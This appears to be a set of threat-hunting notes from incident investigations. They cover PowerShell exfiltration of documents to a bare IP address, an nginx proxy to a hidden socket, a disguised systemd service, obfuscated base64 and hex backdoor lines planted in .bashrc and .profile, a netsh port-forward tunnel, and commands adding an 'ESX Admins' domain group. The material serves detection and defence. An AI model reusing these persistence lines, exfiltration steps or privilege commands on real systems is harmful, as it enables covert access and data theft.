fullpath&&last_write_time&&file_size&&host_name&&current_user&&drive_serial_number

C#: ___directoriesToUpload___, ___fileBase64Id___, ___WritePartInfo, ___SendTreeFileAndTryRemove

94.158.247.19

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"\\\\10.50.1.39\\E$\\Очень важные документы\\отчет.xlsx//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

{"application.description":"Windows PowerShell","application.directory":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0","application.name":"powershell.exe","eventId":154,"object.directory":"http://94.158.247.19/files/upload/4c3df659-4299-4f3d-a159-5cca5215f74f///WREQ//XFwxMC40MC4xMC4zNFxFJFzQntGH0LXQvdGMINCy0LDQttC90YvQtSDQtNC+0LrRg9C80LXQvdGC0Ytc0L7RgtGH0LXRgi54bHN4JiYyOC4wMi4yMDI0IDc6NDI6MTImJjM2NzQyJiZWTTAwMSYmYWRtaW4mJkRGNDUzNjI0//","object.name":"encrypted","timestamp":"2024-05-06T15:44:15.305346Z","user.name":"COMPANY\\admin","user.type":1}

ip_address/files/upload/guid///WREQ//base64_id//

\\10.40.10.34\E$\Очень важные документы\отчет.xlsx&&28.02.2024 7:42:12&&36742&&VM001&&admin&&DF453624

location /ws/b3a4d3a2 {
  proxy_http_version 1.1;
  proxy_set_header Upgrade $http_upgrade;
  proxy_set_header Connection "upgrade";
  proxy_set_header Host               $host;
  proxy_set_header X-Forwarded-For    $remote_addr;
  access_log    off;
  log_not_found off;
  proxy_pass http://unix:/var/run/shm/evil.sock;
}

 proxy_set_header Upgrade $http_upgrade;
 proxy_set_header Connection "upgrade";
 proxy_pass http://unix:/var/run/shm/evil.sock;

lsof | grep /var/run/shm/evil.sock

payload      18653              root    4u     unix 0xffff74146a3b3743       0t0   25637138 /var/run/shm/evil.sock

lsof -p 18653 | grep cwd

systemctl | grep "D\-Bus System Connection Bus"

EVILSERVICE.service                                                                    loaded active running   D-Bus System Connection Bus

egrep -ar 'D\-Bus System Connection Bus|GS_ARGS\=' /usr/lib/systemd/ /{lib,run,etc}/systemd/
egrep -aor 'echo .+\|base64 \-d\|bash.+seed prng.+kernel' /

Description=D-Bus System Connection Bus
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=/bin/bash -c "GS_ARGS='-ilq' exec -a '[abc]' '/usr/bin/abc'"

[Install]
WantedBy=multi-user.target

# ~/.bashrc: executed by bash(1) for non-login shells.
# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMDAxIGFiYyAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS91c2VyLy5jb25maWcvaHRvcC9hYmMuZGF0IC1saXFEIiBleGVjIC1hICdbYWJjNXJyXScgJy9ob21lL3VzZXIvLmNvbmZpZy9odG9wL2FiYycgMj4vZGV2L251bGwpCg==|base64 -d|bash;} 2>/dev/null #34uhu4gg3g3g34g3 >/dev/random # seed prng abc-kernel
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
    *i*) ;;
      *) return;;
esac
....

netsh interface portproxy add v4tov4 listenport=7000 connectaddress=example.com connectport=443 protocol=tcp

Received: from SB1P221MB1152.NAMP221.PROD.OUTLOOK.COM
 (3613:10b6:806:388::20) by BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM with
 HTTPS; Thu, 20 Mar 2024 21:28:15 +0000
...
From: John Doe <[email protected]>
To: John Goe <[email protected]>
Subject: New Test
Date: Thu, 20 Mar 2024 21:28:15 +0000
Accept-Language: en-US
Content-Language: en-US
X-Ms-Exchange-Organization-Authmechanism: 04
X-Ms-Exchange-Organization-Authsource: BD0P221MB0288.NAMP221.PROD.OUTLOOK.COM
X-Ms-Has-Attach: yes
...
X-Entity-ID: WABIHdrtPzUrGNbwVwoPTQ==
X-Trusted-Header: c2VjcmV0X2xvZ2luOnNlY3JldF9wYXNzd29yZA==
X-Ms-Exchange-Organization-Scl: -1

content:"DigitalRSASignature"

find / -type f | egrep -a '/prng/((askpass|hook|x|ssh_login)\.sh|depth\.cfg|funcs|ptyspy_bin\.[a-z_0-9]+\-(linux|alpine|osx)|seed|ssh|thc_cli)'

/home/john/.config/prng/askpass.sh
/home/john/.config/prng/depth.cfg
/home/john/.config/prng/funcs
/home/john/.config/prng/hook.sh
/home/john/.config/prng/ptyspy_bin.aarch64-linux
/home/john/.config/prng/ptyspy_bin.armv6l-linux
/home/john/.config/prng/ptyspy_bin.i386-alpine
/home/john/.config/prng/ptyspy_bin.mips32-alpine
/home/john/.config/prng/ptyspy_bin.mips64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-alpine
/home/john/.config/prng/ptyspy_bin.x86_64-osx
/home/john/.config/prng/seed
/home/john/.config/prng/ssh
/home/john/.config/prng/ssh_login.sh
/home/john/.config/prng/thc_cli
/home/john/.config/prng/x.sh

egrep -aor '# DO NOT REMOVE THIS LINE\. SEED PRNGD|source.+2\>/dev/null #PRNGD' /

"# ~/.profile: executed by the command interpreter for login shells.
# DO NOT REMOVE THIS LINE. SEED PRNGD.
source "$(echo 2f686f6d652f6a6f686e2f2e636f6e6669672f70726e672f736565640a|/usr/bin/xxd -r -ps 2>/dev/null)" 2>/dev/null #PRNGD
# This file is not read by bash(1), if ~/.bash_profile or ~/.bash_login
# exists.
# see /usr/share/doc/bash/examples/startup-files for examples.
# the files are located in the bash-doc package.

# the default umask is set in /etc/profile; for setting the umask
# for ssh logins, install and configure the libpam-umask package.
#umask 022

# if running bash
if [ -n ""$BASH_VERSION"" ]; then
    # include .bashrc if it exists
    if [ -f ""$HOME/.bashrc"" ]; then
        . ""$HOME/.bashrc""
    fi
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/bin"" ] ; then
    PATH=""$HOME/bin:$PATH""
fi

# set PATH so it includes user's private bin if it exists
if [ -d ""$HOME/.local/bin"" ] ; then
    PATH=""$HOME/.local/bin:$PATH""
fi"

net group "ESX Admins" /add /domain
net group "ESX Admins" superuser /add /do